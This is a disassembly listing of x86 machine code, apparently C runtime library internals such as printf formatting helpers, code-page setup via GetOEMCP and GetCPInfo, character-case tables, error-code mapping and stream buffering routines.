loc_420482: ; CODE XREF: sub_41FF3F+500j
; sub_41FF3F+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_4204A3
test edx, edx
jg short loc_4204A3
jl short loc_420492
test eax, eax
jnb short loc_4204A3
loc_420492: ; CODE XREF: sub_41FF3F+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_4204A7
; ---------------------------------------------------------------------------
loc_4204A3: ; CODE XREF: sub_41FF3F+547j
; sub_41FF3F+54Bj ...
mov esi, eax
mov edi, edx
loc_4204A7: ; CODE XREF: sub_41FF3F+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_4204B0
and edi, 0
loc_4204B0: ; CODE XREF: sub_41FF3F+56Cj
cmp [ebp+var_10], 0
jge short loc_4204BF
mov [ebp+var_10], 1
jmp short loc_4204C3
; ---------------------------------------------------------------------------
loc_4204BF: ; CODE XREF: sub_41FF3F+575j
and [ebp+var_4], 0FFFFFFF7h
loc_4204C3: ; CODE XREF: sub_41FF3F+57Ej
mov eax, esi
or eax, edi
jnz short loc_4204CD
and [ebp+var_1C], 0
loc_4204CD: ; CODE XREF: sub_41FF3F+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_4204D3: ; CODE XREF: sub_41FF3F+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_4204E3
mov eax, esi
or eax, edi
jz short loc_42051E
loc_4204E3: ; CODE XREF: sub_41FF3F+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_41DD20
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_41DCB0
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_420514
add ebx, [ebp+var_2C]
loc_420514: ; CODE XREF: sub_41FF3F+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_4204D3
; ---------------------------------------------------------------------------
loc_42051E: ; CODE XREF: sub_41FF3F+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_420549
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_42053C
test eax, eax
jnz short loc_420549
loc_42053C: ; CODE XREF: sub_41FF3F+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_420546: ; CODE XREF: sub_41FF3F+35Fj
; sub_41FF3F+406j ...
mov [ebp+var_C], eax
loc_420549: ; CODE XREF: sub_41FF3F+21Bj
; sub_41FF3F+2FDj ...
cmp [ebp+var_28], 0
jnz loc_420647 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_420581
test bh, 1
jz short loc_420566
mov [ebp+var_16], 2Dh
jmp short loc_42057A
; ---------------------------------------------------------------------------
loc_420566: ; CODE XREF: sub_41FF3F+61Fj
test bl, 1
jz short loc_420571
mov [ebp+var_16], 2Bh
jmp short loc_42057A
; ---------------------------------------------------------------------------
loc_420571: ; CODE XREF: sub_41FF3F+62Aj
test bl, 2
jz short loc_420581
mov [ebp+var_16], 20h
loc_42057A: ; CODE XREF: sub_41FF3F+625j
; sub_41FF3F+630j
mov [ebp+var_1C], 1
loc_420581: ; CODE XREF: sub_41FF3F+61Aj
; sub_41FF3F+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_4205A1
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4206B5
add esp, 10h
loc_4205A1: ; CODE XREF: sub_41FF3F+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_4206E6
add esp, 10h
test bl, 8
jz short loc_4205D3
test bl, 4
jnz short loc_4205D3
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_4206B5
add esp, 10h
loc_4205D3: ; CODE XREF: sub_41FF3F+67Bj
; sub_41FF3F+680j
cmp [ebp+var_24], 0
jz short loc_42061A
cmp [ebp+var_C], 0
jle short loc_42061A
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_4205E8: ; CODE XREF: sub_41FF3F+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_424663
pop ecx
test eax, eax
pop ecx
jle short loc_42062F
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_4206E6
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_4205E8
jmp short loc_42062F
; ---------------------------------------------------------------------------
loc_42061A: ; CODE XREF: sub_41FF3F+698j
; sub_41FF3F+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_4206E6
add esp, 10h
loc_42062F: ; CODE XREF: sub_41FF3F+6BCj
; sub_41FF3F+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_420647 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4206B5
add esp, 10h
loc_420647: ; CODE XREF: sub_41FF3F+68j
; sub_41FF3F+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_41FF6B
loc_420658: ; CODE XREF: sub_41FF3F+1Fj
; sub_41FF3F+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41FF3F endp
; ---------------------------------------------------------------------------
off_420660 dd offset loc_4200DE ; DATA XREF: sub_41FF3F+6Er
dd offset loc_41FFB4 ; jump table for switch statement
dd offset loc_41FFCF
dd offset loc_42001B
dd offset loc_420052
dd offset loc_42005A
dd offset loc_42008F
dd offset loc_420122
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420680 proc near ; CODE XREF: sub_41FF3F+1BDp
; sub_41FF3F+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_420699
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_4206A4
; ---------------------------------------------------------------------------
loc_420699: ; CODE XREF: sub_420680+9j
push ecx
push [ebp+arg_0]
call sub_41FE2A
pop ecx
pop ecx
loc_4206A4: ; CODE XREF: sub_420680+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_4206B1
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4206B1: ; CODE XREF: sub_420680+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_420680 endp
; =============== S U B R O U T I N E =======================================
sub_4206B5 proc near ; CODE XREF: sub_41FF3F+65Ap
; sub_41FF3F+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_4206E3
mov esi, [esp+8+arg_C]
loc_4206C6: ; CODE XREF: sub_4206B5+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_420680
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_4206E3
mov eax, edi
dec edi
test eax, eax
jg short loc_4206C6
loc_4206E3: ; CODE XREF: sub_4206B5+Bj
; sub_4206B5+25j
pop edi
pop esi
retn
sub_4206B5 endp
; =============== S U B R O U T I N E =======================================
sub_4206E6 proc near ; CODE XREF: sub_41FF3F+670p
; sub_41FF3F+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_42071A
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_4206FC: ; CODE XREF: sub_4206E6+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_420680
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_42071A
mov eax, ebx
dec ebx
test eax, eax
jg short loc_4206FC
loc_42071A: ; CODE XREF: sub_4206E6+Cj
; sub_4206E6+2Bj
pop edi
pop esi
pop ebx
retn
sub_4206E6 endp
; =============== S U B R O U T I N E =======================================
sub_42071E proc near ; CODE XREF: sub_41FF3F+E5p
; sub_41FF3F+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_42071E endp
; =============== S U B R O U T I N E =======================================
sub_42072B proc near ; CODE XREF: sub_41FF3F+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_42072B endp
; =============== S U B R O U T I N E =======================================
sub_42073B proc near ; CODE XREF: sub_41FF3F+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_42073B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420749 proc near ; CODE XREF: sub_420B0D+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_4208E2 ; GetOEMCP
mov esi, eax
pop ecx
cmp esi, dword_4DD144
mov [ebp+arg_0], esi
jz loc_4208D6
xor ebx, ebx
cmp esi, ebx
jz loc_4208CC
xor edx, edx
mov eax, offset dword_43D0A0
loc_42077D: ; CODE XREF: sub_420749+41j
cmp [eax], esi
jz short loc_4207F3
add eax, 30h
inc edx
cmp eax, offset dword_43D190
jl short loc_42077D
lea eax, [ebp+var_18]
push eax
push esi
call ds:dword_42705C ; GetCPInfo
cmp eax, 1
jnz loc_4208C4
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DD260
cmp [ebp+var_18], 1
mov dword_4DD144, esi
rep stosd
stosb
mov dword_4DD364, ebx
jbe loc_4208B2
cmp [ebp+var_12], 0
jz loc_420888
lea ecx, [ebp+var_11]
loc_4207D0: ; CODE XREF: sub_420749+139j
mov dl, [ecx]
test dl, dl
jz loc_420888
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_4207E1: ; CODE XREF: sub_420749+A8j
cmp eax, edx
ja loc_42087C
or byte_4DD261[eax], 4
inc eax
jmp short loc_4207E1
; ---------------------------------------------------------------------------
loc_4207F3: ; CODE XREF: sub_420749+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DD260
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_43D0B0[esi]
loc_42080F: ; CODE XREF: sub_420749+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_420842
loc_420816: ; CODE XREF: sub_420749+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_420842
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_42083B
mov edx, [ebp+var_4]
mov dl, byte_43D098[edx]
loc_420830: ; CODE XREF: sub_420749+F0j
or byte_4DD261[eax], dl
inc eax
cmp eax, edi
jbe short loc_420830
loc_42083B: ; CODE XREF: sub_420749+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_420816
loc_420842: ; CODE XREF: sub_420749+CBj
; sub_420749+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_42080F
mov eax, [ebp+arg_0]
mov dword_4DD15C, 1
push eax
mov dword_4DD144, eax
call sub_42092C
lea esi, dword_43D0A4[esi]
mov edi, offset dword_4DD150
movsd
movsd
pop ecx
mov dword_4DD364, eax
movsd
jmp short loc_4208D1
; ---------------------------------------------------------------------------
loc_42087C: ; CODE XREF: sub_420749+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_4207D0
loc_420888: ; CODE XREF: sub_420749+7Ej
; sub_420749+8Bj
push 1
pop eax
loc_42088B: ; CODE XREF: sub_420749+14Fj
or byte_4DD261[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_42088B
push esi
call sub_42092C
pop ecx
mov dword_4DD364, eax
mov dword_4DD15C, 1
jmp short loc_4208B8
; ---------------------------------------------------------------------------
loc_4208B2: ; CODE XREF: sub_420749+74j
mov dword_4DD15C, ebx
loc_4208B8: ; CODE XREF: sub_420749+167j
xor eax, eax
mov edi, offset dword_4DD150
stosd
stosd
stosd
jmp short loc_4208D1
; ---------------------------------------------------------------------------
loc_4208C4: ; CODE XREF: sub_420749+51j
cmp dword_4DBE4C, ebx
jz short loc_4208DA
loc_4208CC: ; CODE XREF: sub_420749+27j
call sub_42095F
loc_4208D1: ; CODE XREF: sub_420749+131j
; sub_420749+179j
call sub_420988
loc_4208D6: ; CODE XREF: sub_420749+1Dj
xor eax, eax
jmp short loc_4208DD
; ---------------------------------------------------------------------------
loc_4208DA: ; CODE XREF: sub_420749+181j
or eax, 0FFFFFFFFh
loc_4208DD: ; CODE XREF: sub_420749+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_420749 endp
; =============== S U B R O U T I N E =======================================
sub_4208E2 proc near ; CODE XREF: sub_420749+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_4DBE4C, 0
cmp eax, 0FFFFFFFEh
jnz short loc_420902
mov dword_4DBE4C, 1
jmp ds:dword_427054
; ---------------------------------------------------------------------------
loc_420902: ; CODE XREF: sub_4208E2+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_420917
mov dword_4DBE4C, 1
jmp ds:dword_427058
; ---------------------------------------------------------------------------
loc_420917: ; CODE XREF: sub_4208E2+23j
cmp eax, 0FFFFFFFCh
jnz short locret_42092B
mov eax, dword_4DBE94
mov dword_4DBE4C, 1
locret_42092B: ; CODE XREF: sub_4208E2+38j
retn
sub_4208E2 endp
; =============== S U B R O U T I N E =======================================
sub_42092C proc near ; CODE XREF: sub_420749+118p
; sub_420749+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_420959
sub eax, 4
jz short loc_420953
sub eax, 0Dh
jz short loc_42094D
dec eax
jz short loc_420947
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_420947: ; CODE XREF: sub_42092C+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_42094D: ; CODE XREF: sub_42092C+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_420953: ; CODE XREF: sub_42092C+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_420959: ; CODE XREF: sub_42092C+9j
mov eax, 411h
retn
sub_42092C endp
; =============== S U B R O U T I N E =======================================
sub_42095F proc near ; CODE XREF: sub_420749:loc_4208CCp
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_4DD260
rep stosd
stosb
xor eax, eax
mov edi, offset dword_4DD150
mov dword_4DD144, eax
mov dword_4DD15C, eax
mov dword_4DD364, eax
stosd
stosd
stosd
pop edi
retn
sub_42095F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420988 proc near ; CODE XREF: sub_420749:loc_4208D1p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_4DD144
call ds:dword_42705C ; GetCPInfo
cmp eax, 1
jnz loc_420AC1
xor eax, eax
mov esi, 100h
loc_4209B2: ; CODE XREF: sub_420988+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_4209B2
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_420A03
push ebx
push edi
lea edx, [ebp+var_D]
loc_4209D1: ; CODE XREF: sub_420988+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_4209F8
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_4209F8: ; CODE XREF: sub_420988+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_4209D1
pop edi
pop ebx
loc_420A03: ; CODE XREF: sub_420988+42j
push 0
lea eax, [ebp+var_514]
push dword_4DD364
push dword_4DD144
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_4244F4
push 0
lea eax, [ebp+var_214]
push dword_4DD144
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_4DD364
call sub_4232A8
push 0
lea eax, [ebp+var_314]
push dword_4DD144
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_4DD364
call sub_4232A8
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_420A7E: ; CODE XREF: sub_420988+135j
mov dx, [ecx]
test dl, 1
jz short loc_420A9C
or byte_4DD261[eax], 10h
mov dl, [ebp+eax+var_214]
loc_420A94: ; CODE XREF: sub_420988+127j
mov byte_4DD160[eax], dl
jmp short loc_420AB8
; ---------------------------------------------------------------------------
loc_420A9C: ; CODE XREF: sub_420988+FCj
test dl, 2
jz short loc_420AB1
or byte_4DD261[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_420A94
; ---------------------------------------------------------------------------
loc_420AB1: ; CODE XREF: sub_420988+117j
and byte_4DD160[eax], 0
loc_420AB8: ; CODE XREF: sub_420988+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_420A7E
jmp short loc_420B0A
; ---------------------------------------------------------------------------
loc_420AC1: ; CODE XREF: sub_420988+1Dj
xor eax, eax
mov esi, 100h
loc_420AC8: ; CODE XREF: sub_420988+180j
cmp eax, 41h
jb short loc_420AE6
cmp eax, 5Ah
ja short loc_420AE6
or byte_4DD261[eax], 10h
mov cl, al
add cl, 20h
loc_420ADE: ; CODE XREF: sub_420988+174j
mov byte_4DD160[eax], cl
jmp short loc_420B05
; ---------------------------------------------------------------------------
loc_420AE6: ; CODE XREF: sub_420988+143j
; sub_420988+148j
cmp eax, 61h
jb short loc_420AFE
cmp eax, 7Ah
ja short loc_420AFE
or byte_4DD261[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_420ADE
; ---------------------------------------------------------------------------
loc_420AFE: ; CODE XREF: sub_420988+161j
; sub_420988+166j
and byte_4DD160[eax], 0
loc_420B05: ; CODE XREF: sub_420988+15Cj
inc eax
cmp eax, esi
jb short loc_420AC8
loc_420B0A: ; CODE XREF: sub_420988+137j
pop esi
leave
retn
sub_420988 endp
; =============== S U B R O U T I N E =======================================
sub_420B0D proc near ; CODE XREF: sub_42367B+9p
; sub_4236D3+Dp ...
cmp dword_4DD394, 0
jnz short locret_420B28
push 0FFFFFFFDh
call sub_420749
pop ecx
mov dword_4DD394, 1
locret_420B28: ; CODE XREF: sub_420B0D+7j
retn
sub_420B0D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420B29 proc near ; CODE XREF: sub_41C3B1+2Bp
; sub_41C3B1+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_4DD15C, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_420B4D
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_41BFD0
add esp, 0Ch
jmp short loc_420BB0
; ---------------------------------------------------------------------------
loc_420B4D: ; CODE XREF: sub_420B29+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_420B92
mov ecx, [ebp+arg_4]
loc_420B58: ; CODE XREF: sub_420B29+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_4DD261[esi], 4
mov [edi], al
jz short loc_420B7C
inc edi
inc ecx
test edx, edx
jz short loc_420B88
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_420B8E
jmp short loc_420B82
; ---------------------------------------------------------------------------
loc_420B7C: ; CODE XREF: sub_420B29+3Ej
inc edi
inc ecx
test al, al
jz short loc_420B92
loc_420B82: ; CODE XREF: sub_420B29+51j
test edx, edx
jnz short loc_420B58
jmp short loc_420B92
; ---------------------------------------------------------------------------
loc_420B88: ; CODE XREF: sub_420B29+44j
and byte ptr [edi-1], 0
jmp short loc_420B92
; ---------------------------------------------------------------------------
loc_420B8E: ; CODE XREF: sub_420B29+4Fj
and byte ptr [edi-2], 0
loc_420B92: ; CODE XREF: sub_420B29+2Aj
; sub_420B29+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_420BAD
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_420BAD: ; CODE XREF: sub_420B29+6Fj
mov eax, [ebp+arg_0]
loc_420BB0: ; CODE XREF: sub_420B29+22j
pop edi
pop ebp
retn
sub_420B29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420BB3 proc near ; CODE XREF: sub_41C59D+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DBE84, 0
push ebx
jnz short loc_420BDE
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_420C7C
cmp eax, 7Ah
jg loc_420C7C
sub eax, 20h
jmp loc_420C7C
; ---------------------------------------------------------------------------
loc_420BDE: ; CODE XREF: sub_420BB3+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_420C11
cmp dword_43D084, 1
jle short loc_420BFE
push 2
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_420C09
; ---------------------------------------------------------------------------
loc_420BFE: ; CODE XREF: sub_420BB3+3Dj
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 2
loc_420C09: ; CODE XREF: sub_420BB3+49j
test eax, eax
jnz short loc_420C11
loc_420C0D: ; CODE XREF: sub_420BB3+AFj
mov eax, ebx
jmp short loc_420C7C
; ---------------------------------------------------------------------------
loc_420C11: ; CODE XREF: sub_420BB3+34j
; sub_420BB3+58j
mov edx, off_43CE78
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_420C34
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_420C3D
; ---------------------------------------------------------------------------
loc_420C34: ; CODE XREF: sub_420BB3+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_420C3D: ; CODE XREF: sub_420BB3+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_4DBE84
call sub_4232A8
add esp, 20h
test eax, eax
jz short loc_420C0D
cmp eax, 1
jnz short loc_420C6F
movzx eax, [ebp+var_4]
jmp short loc_420C7C
; ---------------------------------------------------------------------------
loc_420C6F: ; CODE XREF: sub_420BB3+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_420C7C: ; CODE XREF: sub_420BB3+14j
; sub_420BB3+1Dj ...
pop ebx
leave
retn
sub_420BB3 endp
; =============== S U B R O U T I N E =======================================
sub_420C7F proc near ; CODE XREF: sub_41C7BC+1Dp
; sub_41DC5E+16p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_4DBDE0, ecx
mov eax, offset dword_43D190
loc_420C90: ; CODE XREF: sub_420C7F+1Ej
cmp ecx, [eax]
jz short loc_420CB4
add eax, 8
inc edx
cmp eax, offset asc_43D2F8 ; " \t-\r]"
jl short loc_420C90
cmp ecx, 13h
jb short loc_420CC1
cmp ecx, 24h
ja short loc_420CC1
mov dword_4DBDDC, 0Dh
retn
; ---------------------------------------------------------------------------
loc_420CB4: ; CODE XREF: sub_420C7F+13j
mov eax, dword_43D194[edx*8]
mov dword_4DBDDC, eax
retn
; ---------------------------------------------------------------------------
loc_420CC1: ; CODE XREF: sub_420C7F+23j
; sub_420C7F+28j
cmp ecx, 0BCh
jb short loc_420CDB
cmp ecx, 0CAh
mov dword_4DBDDC, 8
jbe short locret_420CE5
loc_420CDB: ; CODE XREF: sub_420C7F+48j
mov dword_4DBDDC, 16h
locret_420CE5: ; CODE XREF: sub_420C7F+5Aj
retn
sub_420C7F endp
; =============== S U B R O U T I N E =======================================
sub_420CE6 proc near ; CODE XREF: sub_41C7E6+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_42463D
test eax, eax
pop ecx
jz short loc_420D6F
cmp esi, offset dword_43D588
jnz short loc_420D04
xor eax, eax
jmp short loc_420D0F
; ---------------------------------------------------------------------------
loc_420D04: ; CODE XREF: sub_420CE6+18j
cmp esi, offset dword_43D5A8
jnz short loc_420D6F
push 1
pop eax
loc_420D0F: ; CODE XREF: sub_420CE6+1Cj
inc dword_4DBFAC
test word ptr [esi+0Ch], 10Ch
jnz short loc_420D6F
cmp dword_4DBE50[eax*4], 0
push ebx
push edi
lea edi, ds:4DBE50h[eax*4]
mov ebx, 1000h
jnz short loc_420D55
push ebx
call sub_41BEB5
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_420D55
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_420D62
; ---------------------------------------------------------------------------
loc_420D55: ; CODE XREF: sub_420CE6+4Dj
; sub_420CE6+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_420D62: ; CODE XREF: sub_420CE6+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_420D6F: ; CODE XREF: sub_420CE6+10j
; sub_420CE6+24j ...
xor eax, eax
pop esi
retn
sub_420CE6 endp
; =============== S U B R O U T I N E =======================================
sub_420D73 proc near ; CODE XREF: sub_41C7E6+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_420D9D
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_420DAE
push esi
call sub_41E42B
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_420D9D: ; CODE XREF: sub_420D73+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_420DAE
push eax
call sub_41E42B
pop ecx
loc_420DAE: ; CODE XREF: sub_420D73+10j
; sub_420D73+32j
pop esi
retn
sub_420D73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420DB0 proc near ; CODE XREF: sub_41CCE3+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_4217B6
mov edi, [ebp+arg_0]
jmp short loc_420DDF
; ---------------------------------------------------------------------------
loc_420DDA: ; CODE XREF: sub_420DB0+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_420DDF: ; CODE XREF: sub_420DB0+28j
cmp dword_43D084, 1
jle short loc_420DF7
movzx eax, al
push 8
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_420E06
; ---------------------------------------------------------------------------
loc_420DF7: ; CODE XREF: sub_420DB0+36j
mov ecx, off_43CE78
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_420E06: ; CODE XREF: sub_420DB0+45j
cmp eax, ebx
jz short loc_420E40
